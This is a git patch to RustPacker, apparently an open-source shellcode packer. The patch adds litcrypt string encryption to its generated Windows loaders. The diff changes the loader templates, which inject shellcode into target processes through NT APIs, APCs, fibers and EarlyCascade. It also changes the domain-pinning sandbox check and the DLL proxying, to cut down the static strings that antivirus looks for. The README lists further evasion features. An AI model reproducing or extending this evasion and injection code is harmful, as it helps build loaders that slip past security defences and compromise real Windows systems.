From 0d663199460e9ce61e140b1c95e95489fcb711fa Mon Sep 17 00:00:00 2001 From: 0xWerz Date: Sat, 16 May 2026 06:24:06 +0100 Subject: [PATCH] Add litcrypt string encryption --- README.md | 3 +- src/dll_proxy.rs | 70 +++++++++---- src/puzzle.rs | 142 ++++++++++++++++++++------- src/sandbox.rs | 47 ++++++--- src/tools.rs | 27 +++++ templates/ntAPC/src/main.rs | 7 +- templates/ntCRT/src/main.rs | 11 ++- templates/ntEarlyCascade/src/main.rs | 10 +- templates/ntFIBER/src/main.rs | 7 +- templates/sysCRT/src/main.rs | 8 +- templates/sysFIBER/src/main.rs | 4 +- templates/winCRT/src/main.rs | 6 +- templates/winFIBER/src/main.rs | 4 +- 13 files changed, 262 insertions(+), 84 deletions(-) diff --git a/README.md b/README.md index 29d629c..cf21284 100644 --- a/README.md +++ b/README.md @@ -315,6 +315,7 @@ RustPacker implements several evasion techniques: - **Dynamic API Resolution** (`nt*` templates): NT API functions are resolved at runtime via `GetProcAddress` with XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table. - **Indirect Syscalls**: Bypass user-mode hooks (`syscrt`, `sysfiber` templates) - **Payload Encryption**: XOR encoding, AES-256-CBC encryption, or UUID-based encoding +- **String Encryption**: Runtime literals in generated loaders are wrapped with litcrypt to reduce static string exposure - **Process Injection**: Hide execution in legitimate processes - **Domain Pinning**: Only detonate on a specific domain (sandbox evasion) - **Silent Failures**: No descriptive error messages in the binary — all failures exit silently to avoid IoC string detection @@ -382,7 +383,7 @@ Contributions are welcome! Here's how you can help: - [x] Domain pinning, thanks to [m4r1u5-p0p](https://github.com/m4r1u5-p0p) ! - [x] Indirect syscalls for fiber templates - [x] Cross-platform support (Linux, Windows, macOS) -- [ ] String encryption (litcrypt) +- [x] String encryption (litcrypt) - [ ] Check DLL support for all templates - [x] Add EarlyCascade injection template - [x] Add DLL proxying support diff --git a/src/dll_proxy.rs b/src/dll_proxy.rs index 848861f..8a18845 100644 --- a/src/dll_proxy.rs +++ b/src/dll_proxy.rs @@ -1,4 +1,5 @@ use crate::pe_parser::DllExport; +use crate::tools::litcrypt_string_expr; pub struct ProxyOutput { pub proxy_source: String, @@ -26,6 +27,7 @@ fn generate_proxy_source(exports: &[DllExport], forward_target: &str) -> String let mut s = String::new(); s.push_str("use std::arch::naked_asm;\n"); + s.push_str("use std::ffi::CString;\n"); s.push_str("use std::sync::atomic::{AtomicUsize, Ordering};\n\n"); s.push_str("#[link(name = \"kernel32\")]\n"); @@ -48,21 +50,27 @@ fn generate_proxy_source(exports: &[DllExport], forward_target: &str) -> String s.push_str("pub unsafe fn init() {\n"); s.push_str(&format!( - " let h = rp_load_library(b\"{}\\0\".as_ptr());\n", - dll_filename + " let dll_name = CString::new({}).unwrap();\n", + litcrypt_string_expr(&dll_filename) )); + s.push_str(" let h = rp_load_library(dll_name.as_ptr() as *const u8);\n"); s.push_str(" if h == 0 { return; }\n"); for (i, name) in &named { s.push_str(&format!( - " RP_ADDR_{}.store(rp_get_proc_address(h, b\"{}\\0\".as_ptr()), Ordering::Release);\n", - i, name + " let export_{} = CString::new({}).unwrap();\n", + i, + litcrypt_string_expr(name) + )); + s.push_str(&format!( + " RP_ADDR_{}.store(rp_get_proc_address(h, export_{}.as_ptr() as *const u8), Ordering::Release);\n", + i, i )); } s.push_str("}\n\n"); for (i, name) in &named { s.push_str("#[unsafe(naked)]\n"); - s.push_str(&format!("#[export_name = \"{}\"]\n", name)); + s.push_str(&format!("#[export_name = {:?}]\n", name)); s.push_str(&format!( "pub unsafe extern \"system\" fn _rp_fwd_{}() {{\n", i @@ -85,8 +93,14 @@ mod tests { #[test] fn test_proxy_source_named_exports() { let exports = vec![ - DllExport { name: Some("GetFileVersionInfoA".into()), ordinal: 1 }, - DllExport { name: Some("GetFileVersionInfoW".into()), ordinal: 2 }, + DllExport { + name: Some("GetFileVersionInfoA".into()), + ordinal: 1, + }, + DllExport { + name: Some("GetFileVersionInfoW".into()), + ordinal: 2, + }, ]; let src = generate_proxy_source(&exports, "version_orig"); assert!(src.contains("static RP_ADDR_0: AtomicUsize")); @@ -94,14 +108,20 @@ mod tests { assert!(src.contains("#[export_name = \"GetFileVersionInfoA\"]")); assert!(src.contains("#[export_name = \"GetFileVersionInfoW\"]")); assert!(src.contains("#[unsafe(naked)]")); - assert!(src.contains("b\"version_orig.dll\\0\"")); + assert!(src.contains("lc!(\"version_orig.dll\")")); } #[test] fn test_proxy_source_skips_ordinal_only() { let exports = vec![ - DllExport { name: Some("FuncA".into()), ordinal: 1 }, - DllExport { name: None, ordinal: 5 }, + DllExport { + name: Some("FuncA".into()), + ordinal: 1, + }, + DllExport { + name: None, + ordinal: 5, + }, ]; let src = generate_proxy_source(&exports, "test_orig"); assert!(src.contains("#[export_name = \"FuncA\"]")); @@ -118,26 +138,36 @@ mod tests { #[test] fn test_generate_proxy_output() { - let exports = vec![ - DllExport { name: Some("Init".into()), ordinal: 1 }, - ]; + let exports = vec![DllExport { + name: Some("Init".into()), + ordinal: 1, + }]; let output = generate_proxy(&exports, "mylib"); assert_eq!(output.original_dll_name, "mylib_orig.dll"); assert!(output.proxy_source.contains("#[export_name = \"Init\"]")); - assert!(output.proxy_source.contains("b\"mylib_orig.dll\\0\"")); + assert!(output.proxy_source.contains("lc!(\"mylib_orig.dll\")")); } #[test] fn test_proxy_source_init_resolves_all() { let exports = vec![ - DllExport { name: Some("Alpha".into()), ordinal: 1 }, - DllExport { name: Some("Beta".into()), ordinal: 2 }, - DllExport { name: Some("Gamma".into()), ordinal: 3 }, + DllExport { + name: Some("Alpha".into()), + ordinal: 1, + }, + DllExport { + name: Some("Beta".into()), + ordinal: 2, + }, + DllExport { + name: Some("Gamma".into()), + ordinal: 3, + }, ]; let src = generate_proxy_source(&exports, "lib_orig"); - assert!(src.contains("b\"Alpha\\0\"")); - assert!(src.contains("b\"Beta\\0\"")); - assert!(src.contains("b\"Gamma\\0\"")); + assert!(src.contains("lc!(\"Alpha\")")); + assert!(src.contains("lc!(\"Beta\")")); + assert!(src.contains("lc!(\"Gamma\")")); assert!(src.contains("RP_ADDR_0.store")); assert!(src.contains("RP_ADDR_1.store")); assert!(src.contains("RP_ADDR_2.store")); diff --git a/src/puzzle.rs b/src/puzzle.rs index b87ff14..5ed3a41 100644 --- a/src/puzzle.rs +++ b/src/puzzle.rs @@ -3,7 +3,9 @@ use crate::arg_parser::{Encryption, Execution, Format, Order}; use crate::dll_proxy; use crate::pe_parser; use crate::sandbox::build_sandbox; -use crate::tools::{random_aes_iv, random_aes_key, random_u8, EncryptionOutput}; +use crate::tools::{ + litcrypt_string_expr, random_aes_iv, random_aes_key, random_u8, EncryptionOutput, +}; use crate::uuid_enc::encrypt_uuid; use crate::xor::encrypt_xor; use fs_extra::dir::{copy, CopyOptions}; @@ -29,6 +31,17 @@ fn non_zero_random_key() -> u8 { } const OUTPUT_DIR: &str = "shared"; +const LITCRYPT_DEPENDENCY: &str = r#"litcrypt = "0.4""#; +const LITCRYPT_SETUP: &str = "#[macro_use]\nextern crate litcrypt;\n\nuse_litcrypt!();"; + +fn build_dependencies(template_dependencies: Option) -> String { + match template_dependencies { + Some(dependencies) if !dependencies.trim().is_empty() => { + format!("{}\n{}", LITCRYPT_DEPENDENCY, dependencies) + } + _ => LITCRYPT_DEPENDENCY.to_string(), + } +} fn search_and_replace( path_to_file: &Path, @@ -96,9 +109,12 @@ fn build_encrypted_output(order: &Order, src_dir: &Path) -> (EncryptionOutput, S let output = match order.encryption { Encryption::Xor => encrypt_xor(&order.shellcode_path, &path, non_zero_random_key()), - Encryption::Aes => { - encrypt_aes(&order.shellcode_path, &path, &random_aes_key(), &random_aes_iv()) - } + Encryption::Aes => encrypt_aes( + &order.shellcode_path, + &path, + &random_aes_key(), + &random_aes_iv(), + ), Encryption::Uuid => encrypt_uuid(&order.shellcode_path, &path), }; @@ -107,16 +123,21 @@ fn build_encrypted_output(order: &Order, src_dir: &Path) -> (EncryptionOutput, S fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, String> { let (enc_output, include_path) = build_encrypted_output(order, src_dir); + let dependencies = build_dependencies(enc_output.dependencies); let mut replacements: HashMap<&'static str, String> = HashMap::new(); replacements.insert("{{PATH_TO_SHELLCODE}}", include_path); replacements.insert("{{DECRYPTION_FUNCTION}}", enc_output.decryption_function); replacements.insert("{{MAIN}}", enc_output.main); - replacements.insert("{{DEPENDENCIES}}", enc_output.dependencies.unwrap_or_default()); + replacements.insert("{{DEPENDENCIES}}", dependencies); replacements.insert("{{IMPORTS}}", enc_output.imports.unwrap_or_default()); + replacements.insert("{{LITCRYPT_SETUP}}", LITCRYPT_SETUP.to_string()); replacements.insert("{{DLL_MAIN}}", String::new()); replacements.insert("{{DLL_FORMAT}}", String::new()); - replacements.insert("{{TARGET_PROCESS}}", order.target_process.clone()); + replacements.insert( + "{{TARGET_PROCESS}}", + litcrypt_string_expr(&order.target_process), + ); replacements.insert("{{SANDBOX}}", String::new()); replacements.insert("{{SANDBOX_IMPORTS}}", String::new()); @@ -128,14 +149,38 @@ fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, St let api_key = non_zero_random_key(); replacements.insert("{{API_KEY}}", format!("0x{:02x}", api_key)); - replacements.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key)); - replacements.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key)); - replacements.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key)); - replacements.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key)); - replacements.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key)); - replacements.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key)); - replacements.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key)); - replacements.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key)); + replacements.insert( + "{{OBF_NT_OPEN_PROCESS}}", + obfuscate_api_name("NtOpenProcess", api_key), + ); + replacements.insert( + "{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", + obfuscate_api_name("NtAllocateVirtualMemory", api_key), + ); + replacements.insert( + "{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", + obfuscate_api_name("NtWriteVirtualMemory", api_key), + ); + replacements.insert( + "{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", + obfuscate_api_name("NtProtectVirtualMemory", api_key), + ); + replacements.insert( + "{{OBF_NT_CREATE_THREAD_EX}}", + obfuscate_api_name("NtCreateThreadEx", api_key), + ); + replacements.insert( + "{{OBF_NT_QUEUE_APC_THREAD}}", + obfuscate_api_name("NtQueueApcThread", api_key), + ); + replacements.insert( + "{{OBF_NT_TEST_ALERT}}", + obfuscate_api_name("NtTestAlert", api_key), + ); + replacements.insert( + "{{OBF_NT_DELAY_EXECUTION}}", + obfuscate_api_name("NtDelayExecution", api_key), + ); replacements } @@ -225,11 +270,7 @@ fn apply_dll_format( lib_rs_path } -fn apply_replacements( - replacements: &HashMap<&str, String>, - main_path: &Path, - cargo_path: &Path, -) { +fn apply_replacements(replacements: &HashMap<&str, String>, main_path: &Path, cargo_path: &Path) { for (key, value) in replacements { search_and_replace(main_path, key, value) .unwrap_or_else(|e| eprintln!("Warning: template replace failed for {}: {}", key, e)); @@ -238,6 +279,28 @@ fn apply_replacements( } } +fn proxy_module_insert_offset(existing: &str) -> usize { + if let Some(pos) = existing.find("use_litcrypt!();") { + let after_marker = pos + "use_litcrypt!();".len(); + return after_marker + + existing[after_marker..] + .find('\n') + .map(|newline| newline + 1) + .unwrap_or(0); + } + + let mut inner_attr_end = 0; + for line in existing.lines() { + let trimmed = line.trim(); + if trimmed.starts_with("#!") || trimmed.is_empty() { + inner_attr_end += line.len() + 1; + } else { + break; + } + } + inner_attr_end.min(existing.len()) +} + fn apply_proxy(order: &Order, folder: &Path) { let proxy_path = order.proxy_dll.as_ref().unwrap(); let exports = pe_parser::parse_exports(proxy_path).unwrap_or_else(|e| { @@ -258,21 +321,11 @@ fn apply_proxy(order: &Order, folder: &Path) { let lib_rs_path = src_dir.join("lib.rs"); let existing = fs::read_to_string(&lib_rs_path).expect("Failed to read lib.rs"); - - // Insert `mod proxy;` after inner attributes (#![...]) to avoid breaking them - let mut inner_attr_end = 0; - for line in existing.lines() { - let trimmed = line.trim(); - if trimmed.starts_with("#!") || trimmed.is_empty() { - inner_attr_end += line.len() + 1; // +1 for newline - } else { - break; - } - } + let insert_at = proxy_module_insert_offset(&existing); let updated = format!( "{}\n#[allow(non_upper_case_globals, non_snake_case)]\nmod proxy;\n{}", - &existing[..inner_attr_end.min(existing.len())].trim_end(), - &existing[inner_attr_end.min(existing.len())..] + &existing[..insert_at].trim_end(), + &existing[insert_at..] ); fs::write(&lib_rs_path, updated).expect("Failed to update lib.rs with mod proxy"); @@ -287,8 +340,7 @@ pub fn assemble(order: Order) -> PathBuf { println!("[+] Assembling Rust code.."); let template_path = template_path_for_execution(&order.execution); - let folder = create_root_folder(Path::new(OUTPUT_DIR)) - .expect("Failed to create output folder"); + let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder"); copy_template(template_path, &folder).expect("Failed to copy template"); let src_dir = folder.join("src"); @@ -312,3 +364,25 @@ pub fn assemble(order: Order) -> PathBuf { println!("[+] Done assembling Rust code!"); folder } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_build_dependencies_always_includes_litcrypt() { + assert_eq!(build_dependencies(None), r#"litcrypt = "0.4""#); + assert_eq!( + build_dependencies(Some(r#"libaes = "0.7""#.to_string())), + "litcrypt = \"0.4\"\nlibaes = \"0.7\"" + ); + } + + #[test] + fn test_proxy_module_insert_offset_keeps_litcrypt_first() { + let source = "#![windows_subsystem = \"windows\"]\n\n#[macro_use]\nextern crate litcrypt;\n\nuse_litcrypt!();\n\nuse std::include_bytes;\n"; + let insert_at = proxy_module_insert_offset(source); + assert!(source[..insert_at].contains("use_litcrypt!();")); + assert!(source[insert_at..].starts_with('\n')); + } +} diff --git a/src/sandbox.rs b/src/sandbox.rs index 225d259..16446c0 100644 --- a/src/sandbox.rs +++ b/src/sandbox.rs @@ -1,4 +1,4 @@ -use crate::tools::SandboxOutput; +use crate::tools::{litcrypt_string_expr, SandboxOutput}; pub fn build_sandbox(expected_domain: &str) -> SandboxOutput { if expected_domain.is_empty() { @@ -8,6 +8,7 @@ pub fn build_sandbox(expected_domain: &str) -> SandboxOutput { }; } + let expected_domain = litcrypt_string_expr(expected_domain); let sandbox_function = format!( "fn get_domain_name() -> Option {{ let mut size: u32 = 256; @@ -29,20 +30,15 @@ pub fn build_sandbox(expected_domain: &str) -> SandboxOutput { }} Some(domain_name) }} - fn sandbox() {{ + fn sandbox() -> bool {{ match get_domain_name() {{ - Some(domain) => {{ - println!(\"Domain: {{}}\",domain); - if !domain.as_str().eq_ignore_ascii_case(\"{0}\") {{ - panic!(\"Sandbox check failed\"); - }} - }} - None => {{ - panic!(\"Sandbox check failed\"); - }} + Some(domain) => domain.as_str().eq_ignore_ascii_case({0}.as_str()), + None => false, }} }} - sandbox();", + if !sandbox() {{ + return; + }}", expected_domain ); @@ -54,3 +50,30 @@ pub fn build_sandbox(expected_domain: &str) -> SandboxOutput { sandbox_import, } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_empty_domain_disables_sandbox_code() { + let output = build_sandbox(""); + assert!(output.sandbox_function.is_empty()); + assert!(output.sandbox_import.is_empty()); + } + + #[test] + fn test_sandbox_domain_is_litcrypt_wrapped() { + let output = build_sandbox("MYDOMAIN"); + assert!(output.sandbox_function.contains("lc!(\"MYDOMAIN\")")); + assert!(!output.sandbox_function.contains("Sandbox check failed")); + } + + #[test] + fn test_sandbox_domain_with_escape_falls_back_to_plain_string() { + let output = build_sandbox(r#"DOMAIN\LAB"#); + assert!(output + .sandbox_function + .contains(r#""DOMAIN\\LAB".to_string()"#)); + } +} diff --git a/src/tools.rs b/src/tools.rs index 7e4f6d2..4653245 100644 --- a/src/tools.rs +++ b/src/tools.rs @@ -56,6 +56,20 @@ pub fn random_aes_iv() -> [u8; 16] { rand::random::<[u8; 16]>() } +fn can_use_litcrypt_literal(value: &str) -> bool { + value.chars().all(|c| c.is_ascii_graphic() || c == ' ') + && !value.contains('"') + && !value.contains('\\') +} + +pub fn litcrypt_string_expr(value: &str) -> String { + if can_use_litcrypt_literal(value) { + format!("lc!(\"{}\")", value) + } else { + format!("{:?}.to_string()", value) + } +} + pub fn get_source_binary_filename(order: &arg_parser::Order, output_folder: &Path) -> PathBuf { let binary_name = format!("{}.{}", order.execution, order.format); let candidates = [ @@ -186,6 +200,19 @@ mod tests { assert_eq!(iv.len(), 16); } + #[test] + fn test_litcrypt_string_expr_wraps_simple_value() { + assert_eq!(litcrypt_string_expr("notepad.exe"), "lc!(\"notepad.exe\")"); + } + + #[test] + fn test_litcrypt_string_expr_falls_back_for_escaped_value() { + assert_eq!( + litcrypt_string_expr(r#"C:\Program Files\app.exe"#), + r#""C:\\Program Files\\app.exe".to_string()"# + ); + } + #[test] fn test_generate_random_filename_format() { let order = arg_parser::Order { diff --git a/templates/ntAPC/src/main.rs b/templates/ntAPC/src/main.rs index 1a570e6..57ee5d5 100644 --- a/templates/ntAPC/src/main.rs +++ b/templates/ntAPC/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use std::ffi::CString; use std::include_bytes; use std::ptr::null_mut; @@ -39,7 +41,8 @@ fn r(d: &[u8]) -> Vec { } unsafe fn g(n: &[u8]) -> *const () { - let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + let ntdll = CString::new(lc!("ntdll")).unwrap(); + let h = GetModuleHandleA(ntdll.as_ptr()); let s = r(n); let c = CString::new(s).unwrap(); GetProcAddress(h, c.as_ptr()) as *const () @@ -127,4 +130,4 @@ fn main() { enhance(vec); } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}} diff --git a/templates/ntCRT/src/main.rs b/templates/ntCRT/src/main.rs index af2d509..990c191 100644 --- a/templates/ntCRT/src/main.rs +++ b/templates/ntCRT/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use sysinfo::System; use std::ffi::CString; use std::include_bytes; @@ -46,7 +48,8 @@ fn r(d: &[u8]) -> Vec { } unsafe fn g(n: &[u8]) -> *const () { - let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + let ntdll = CString::new(lc!("ntdll")).unwrap(); + let h = GetModuleHandleA(ntdll.as_ptr()); let s = r(n); let c = CString::new(s).unwrap(); GetProcAddress(h, c.as_ptr()) as *const () @@ -144,14 +147,14 @@ fn main() { if !check_environment() { return; } - let tar: &str = "{{TARGET_PROCESS}}"; + let tar = {{TARGET_PROCESS}}; let buf = include_bytes!({{PATH_TO_SHELLCODE}}); let mut vec: Vec = buf.to_vec(); {{MAIN}} - let list: Vec = boxboxbox(tar); + let list: Vec = boxboxbox(&tar); if !list.is_empty() { for i in &list { enhance(vec.clone(), *i); @@ -159,4 +162,4 @@ fn main() { } } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}} diff --git a/templates/ntEarlyCascade/src/main.rs b/templates/ntEarlyCascade/src/main.rs index e7c8905..d91a44f 100644 --- a/templates/ntEarlyCascade/src/main.rs +++ b/templates/ntEarlyCascade/src/main.rs @@ -1,6 +1,9 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case, non_camel_case_types)] +{{LITCRYPT_SETUP}} + +use std::ffi::CString; use std::include_bytes; use std::mem; use std::ptr::null_mut; @@ -230,7 +233,8 @@ unsafe fn find_shims_flag(base: usize, offset_addr: usize) -> Option { } unsafe fn do_inject(pi: &PROCESS_INFORMATION, sc: &[u8]) -> bool { - let h_ntdll = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + let ntdll = CString::new(lc!("ntdll")).unwrap(); + let h_ntdll = GetModuleHandleA(ntdll.as_ptr()); if h_ntdll.is_null() { return false; } @@ -332,7 +336,9 @@ unsafe fn do_inject(pi: &PROCESS_INFORMATION, sc: &[u8]) -> bool { fn cascade(sc: &[u8]) { unsafe { - let mut cmd = b"{{TARGET_PROCESS}}\0".to_vec(); + let mut cmd = CString::new({{TARGET_PROCESS}}) + .unwrap() + .into_bytes_with_nul(); let mut si: STARTUPINFOA = mem::zeroed(); si.cb = mem::size_of::() as u32; let mut pi: PROCESS_INFORMATION = mem::zeroed(); diff --git a/templates/ntFIBER/src/main.rs b/templates/ntFIBER/src/main.rs index bd5efed..852a54a 100644 --- a/templates/ntFIBER/src/main.rs +++ b/templates/ntFIBER/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use std::ffi::CString; use std::include_bytes; use std::ptr::null_mut; @@ -40,7 +42,8 @@ fn r(d: &[u8]) -> Vec { } unsafe fn g(n: &[u8]) -> *const () { - let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + let ntdll = CString::new(lc!("ntdll")).unwrap(); + let h = GetModuleHandleA(ntdll.as_ptr()); let s = r(n); let c = CString::new(s).unwrap(); GetProcAddress(h, c.as_ptr()) as *const () @@ -126,4 +129,4 @@ fn main() { enhance(vec); } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}} diff --git a/templates/sysCRT/src/main.rs b/templates/sysCRT/src/main.rs index 1a7de5d..f220d10 100644 --- a/templates/sysCRT/src/main.rs +++ b/templates/sysCRT/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use sysinfo::System; use std::include_bytes; use rust_syscalls::syscall; @@ -107,14 +109,14 @@ fn main() { if !check_environment() { return; } - let tar: &str = "{{TARGET_PROCESS}}"; + let tar = {{TARGET_PROCESS}}; let buf = include_bytes!({{PATH_TO_SHELLCODE}}); let mut vec: Vec = buf.to_vec(); {{MAIN}} - let list: Vec = boxboxbox(tar); + let list: Vec = boxboxbox(&tar); if !list.is_empty() { for i in &list { enhance(vec.clone(), *i); @@ -122,4 +124,4 @@ fn main() { } } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}} diff --git a/templates/sysFIBER/src/main.rs b/templates/sysFIBER/src/main.rs index 6bc2188..bf3803f 100644 --- a/templates/sysFIBER/src/main.rs +++ b/templates/sysFIBER/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use std::ptr::null_mut; use std::time::Instant; @@ -94,4 +96,4 @@ fn main() { enhance(vec); } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}} diff --git a/templates/winCRT/src/main.rs b/templates/winCRT/src/main.rs index b77765e..01603a6 100644 --- a/templates/winCRT/src/main.rs +++ b/templates/winCRT/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use sysinfo::System; use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows::Win32::System::Memory::VirtualAllocEx; @@ -102,14 +104,14 @@ fn main() { if !check_environment() { return; } - let tar: &str = "{{TARGET_PROCESS}}"; + let tar = {{TARGET_PROCESS}}; let buf = include_bytes!({{PATH_TO_SHELLCODE}}); let mut vec: Vec = buf.to_vec(); {{MAIN}} - let list: Vec = boxboxbox(tar); + let list: Vec = boxboxbox(&tar); if !list.is_empty() { for i in &list { enhance(vec.clone(), *i); diff --git a/templates/winFIBER/src/main.rs b/templates/winFIBER/src/main.rs index c153a88..8c119bf 100644 --- a/templates/winFIBER/src/main.rs +++ b/templates/winFIBER/src/main.rs @@ -1,6 +1,8 @@ #![windows_subsystem = "windows"] #![allow(non_snake_case)] +{{LITCRYPT_SETUP}} + use std::ptr::{null, null_mut}; use windows_sys::Win32::{System::{Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS, PAGE_READWRITE}, Threading::{ @@ -78,4 +80,4 @@ fn main() { enhance(vec); } -{{DLL_MAIN}} \ No newline at end of file +{{DLL_MAIN}}